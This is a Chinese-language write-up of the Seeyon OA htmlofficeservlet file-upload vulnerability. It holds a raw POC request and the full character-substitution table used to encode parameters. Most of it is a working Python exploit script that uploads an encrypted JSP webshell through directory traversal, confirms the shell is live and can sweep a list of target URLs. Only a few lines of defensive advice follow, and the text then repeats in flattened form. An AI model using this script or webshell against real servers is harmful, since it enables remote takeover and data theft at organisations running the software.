seeyonOA----htmlofficeservlet文件上传
字数 1210 2025-08-09 13:33:40

致远OA htmlofficeservlet文件上传漏洞分析与利用

漏洞概述

致远OA系统中的htmlofficeservlet接口存在文件上传漏洞,攻击者可以通过构造特殊的请求,实现任意文件上传,进而获取服务器权限。

漏洞分析

漏洞位置

漏洞存在于seeyon-apps-common.jar中的htmlofficeservlet接口。

关键代码分析

  1. 入口点 - doGet方法中的处理逻辑:
HandWriteManager handWriteManager = (HandWriteManager)AppContext.getBean("handWriteManager");
iMsgServer2000 msgObj = new iMsgServer2000();
handWriteManager.readVariant(request, msgObj);
  1. iMsgServer2000类 - 负责加解密操作:
  • 使用变异的凯撒密码进行参数加密/解密
  • 符号表顺序被打乱替换后重新对应
  1. HandWriteManager.readVariant方法
public void readVariant(HttpServletRequest request, iMsgServer2000 msgObj) {
    msgObj.ReadPackage(request);
    log.info("RECORDID:" + msgObj.GetMsgByName("RECORDID") + " CREATEDATE:" + msgObj.GetMsgByName("CREATEDATE") + " originalFileId:" + msgObj.GetMsgByName("originalFileId") + " needReadFile:" + msgObj.GetMsgByName("needReadFile"));
    this.fileId = Long.valueOf(msgObj.GetMsgByName("RECORDID"));
    this.createDate = Datetimes.parseDatetime(msgObj.GetMsgByName("CREATEDATE"));
    String _originalFileId = msgObj.GetMsgByName("originalFileId");
    this.needClone = _originalFileId != null && !"".equals(_originalFileId.trim());
    this.needReadFile = Boolean.parseBoolean(msgObj.GetMsgByName("needReadFile"));
    if (this.needClone) {
        String _originalCreateDate = msgObj.GetMsgByName("originalCreateDate");
        this.originalFileId = Long.valueOf(_originalFileId);
        this.originalCreateDate = Datetimes.parseDatetime(_originalCreateDate);
    }
}
  1. 文件上传关键点
  • 通过OPTION=SAVEASIMG触发文件保存逻辑
  • 使用MsgFileSave方法实现文件写入
  • 文件名处理允许目录穿越(如..ApacheJetspeed\webapps\seeyon\filename

漏洞利用条件

  1. originalFileId参数不能为null且不能为空字符串
  2. OPTION参数解密后为SAVEASIMG
  3. 能够构造有效的加密文件名实现目录穿越

漏洞利用

POC构造

基本POC结构:

DBSTEP V3.0 355 0 600
DBSTEP=OKMLlKlV
OPTION=S3WYOSWLBSGr
currentUserId=zUCTwigsziCAPLesw4gsw4oEwV66
CREATEDATE=wUghPB3szB3Xwg66
RECORDID=qLSGw4SXzLeGw4V3wUw3zUoXwid6
originalFileId=wV66
originalCreateDate=wUghPB3szB3Xwg66
FILENAME=qfTda7u5aWs5qQhdVaxJeAJQBRl3dExQyYOdarNQeRWsdrzdarzQyaQvcQhdd1lHNYQ5qRjidg66
needReadFile=yRWZdAS6
originalCreateDate=wLSGP4oEzLKAz4=iz=66

关键参数说明

  1. 355和600:表示从355字节位置开始读取600个字节长度内容(需根据实际情况调整)
  2. FILENAME:加密后的文件名(需包含目录穿越部分)
  3. 文件内容:放在POC最后部分

文件名加密

  1. 使用变异凯撒密码进行加密

  2. 符号表对应关系:

    • 原始:ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=
    • 目标:gx74KW1roM9qwzPFVOBLSlYaeyncdNbI=JfUCQRHtj2+Z05vshXi3GAEuT/m8Dpk6
  3. 加密工具:

    • 可使用提供的Java工具seeyon-1.0-SNAPSHOT.jar
    • 也可用Python脚本实现转换

漏洞利用工具

Python利用脚本

import argparse
import base64
import subprocess
import requests

def Args():
    parser = argparse.ArgumentParser(formatter_class=argparse.ArgumentDefaultsHelpFormatter,description='''seeyon htmlofficeservlet upload!!!''')
    parser.add_argument('-u', '--url', help="please input URL")
    parser.add_argument('-f', '--file', help="please input URL file")
    parser.add_argument('-n', '--name', help="please input shell name")
    args = parser.parse_args()
    if args.name is None or args.url is None or args.name is None:
        print(parser.print_help())
        exit()
    else:
        return args

def encode(file_name):
    name = ''
    a = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
    b = "gx74KW1roM9qwzPFVOBLSlYaeyncdNbI=JfUCQRHtj2+Z05vshXi3GAEuT/m8Dpk6"
    popen = subprocess.Popen(['java', '-jar', 'seeyon-1.0-SNAPSHOT.jar',file_name],stdout=subprocess.PIPE)
    result=popen.stdout.read()
    for i in result[:-2].decode():
        name += b[a.index(i)]
    return name

def attack(url,shellname,shelladdress):
    reaurl = url + "seeyon/htmlofficeservlet"
    length = str(473 + len(shellname))
    payload = """DBSTEP V3.0 385 0 """ + length + """ DBSTEP=OKMLlKlV\r
OPTION=S3WYOSWLBSGr\r
currentUserId=zUCTwigsziCAPLesw4gsw4oEwV66\r
CREATEDATE=wUghPB3szB3Xwg66\r
RECORDID=qLSGw4SXzLeGw4V3wUw3zUoXwid6\r
originalFileId=wV66\r
originalCreateDate=wUghPB3szB3Xwg66\r
FILENAME=""" + shellname + """\r
needReadFile=yRWZdAS6\r
originalCreateDate=wLSGP4oEzLKAz4=iz=66\r
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>6e4f045d4b8506bf492ada7e3390d7ce"""
    headers = {
        "Cache-Control": "max-age=0",
        "Content-Type": "application/x-www-form-urlencoded",
        "User-Agent": "Mozilla/5.0(Windows NT 10.0;Win64;x64) AppleWebKit/537.36(KHTML, likeGecko) Chrome/92.0.4515.159 Safari/537.36",
        "Accept-Encoding": "gzip, deflate",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
        "Connection": "close"
    }
    response = requests.post(url=reaurl, data=payload, headers=headers)
    response2 = requests.get(url=url + 'seeyon/' +shelladdress)
    if '6e' in response2.text:
        print(url + 'seeyon/' +shelladdress+ ' shell upload success!!!')
    else:
        print('fail')

def readfile(urlpath):
    list = []
    with open(urlpath, "r") as f:
        line = f.readlines()
        for i in line:
            if '/' == i.strip()[:-1]:
                i = i.strip()
            else:
                i = i.strip()+'/'
            list.append(i)
    return list

def main():
    args = Args()
    shellname = encode(args.name)
    if args.url is not None and args.file is None:
        if '/' == args.url[:-1]:
            args.url = args.url
        else:
            args.url = args.url + '/'
        attack(args.url,shellname,args.name)
    elif args.url is None and args.file is not None:
        urllist = readfile(args.file)
        for i in urllist:
            attack(i,shellname,args.name)

if __name__ == "__main__":
    main()

使用说明

  1. 依赖文件:seeyon-1.0-SNAPSHOT.jar(用于文件名加密)
  2. 参数说明:
    • -u:目标URL
    • -f:目标URL文件(批量检测)
    • -n:Webshell文件名

防御建议

  1. 升级致远OA到最新版本
  2. htmlofficeservlet接口进行访问控制
  3. 检查并删除已上传的恶意文件
  4. 实施文件上传白名单机制
  5. 禁用不必要的Servlet接口

总结

该漏洞利用致远OA系统中htmlofficeservlet接口的文件上传功能,通过精心构造的请求实现任意文件上传。漏洞的关键在于:

  1. 参数加密机制可被逆向
  2. 文件名处理允许目录穿越
  3. 文件内容处理未做严格过滤

理解该漏洞需要对Java Web开发和致远OA架构有一定了解,特别是其自定义的加密机制和文件处理逻辑。

致远OA htmlofficeservlet文件上传漏洞分析与利用 漏洞概述 致远OA系统中的 htmlofficeservlet 接口存在文件上传漏洞,攻击者可以通过构造特殊的请求,实现任意文件上传,进而获取服务器权限。 漏洞分析 漏洞位置 漏洞存在于 seeyon-apps-common.jar 中的 htmlofficeservlet 接口。 关键代码分析 入口点 - doGet 方法中的处理逻辑: iMsgServer2000类 - 负责加解密操作: 使用变异的凯撒密码进行参数加密/解密 符号表顺序被打乱替换后重新对应 HandWriteManager.readVariant方法 : 文件上传关键点 : 通过 OPTION=SAVEASIMG 触发文件保存逻辑 使用 MsgFileSave 方法实现文件写入 文件名处理允许目录穿越(如 ..ApacheJetspeed\webapps\seeyon\filename ) 漏洞利用条件 originalFileId 参数不能为null且不能为空字符串 OPTION 参数解密后为 SAVEASIMG 能够构造有效的加密文件名实现目录穿越 漏洞利用 POC构造 基本POC结构: 关键参数说明 355和600 :表示从355字节位置开始读取600个字节长度内容(需根据实际情况调整) FILENAME :加密后的文件名(需包含目录穿越部分) 文件内容 :放在POC最后部分 文件名加密 使用变异凯撒密码进行加密 符号表对应关系: 原始: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/= 目标: gx74KW1roM9qwzPFVOBLSlYaeyncdNbI=JfUCQRHtj2+Z05vshXi3GAEuT/m8Dpk6 加密工具: 可使用提供的Java工具 seeyon-1.0-SNAPSHOT.jar 也可用Python脚本实现转换 漏洞利用工具 Python利用脚本 使用说明 依赖文件: seeyon-1.0-SNAPSHOT.jar (用于文件名加密) 参数说明: -u :目标URL -f :目标URL文件(批量检测) -n :Webshell文件名 防御建议 升级致远OA到最新版本 对 htmlofficeservlet 接口进行访问控制 检查并删除已上传的恶意文件 实施文件上传白名单机制 禁用不必要的Servlet接口 总结 该漏洞利用致远OA系统中 htmlofficeservlet 接口的文件上传功能,通过精心构造的请求实现任意文件上传。漏洞的关键在于: 参数加密机制可被逆向 文件名处理允许目录穿越 文件内容处理未做严格过滤 理解该漏洞需要对Java Web开发和致远OA架构有一定了解,特别是其自定义的加密机制和文件处理逻辑。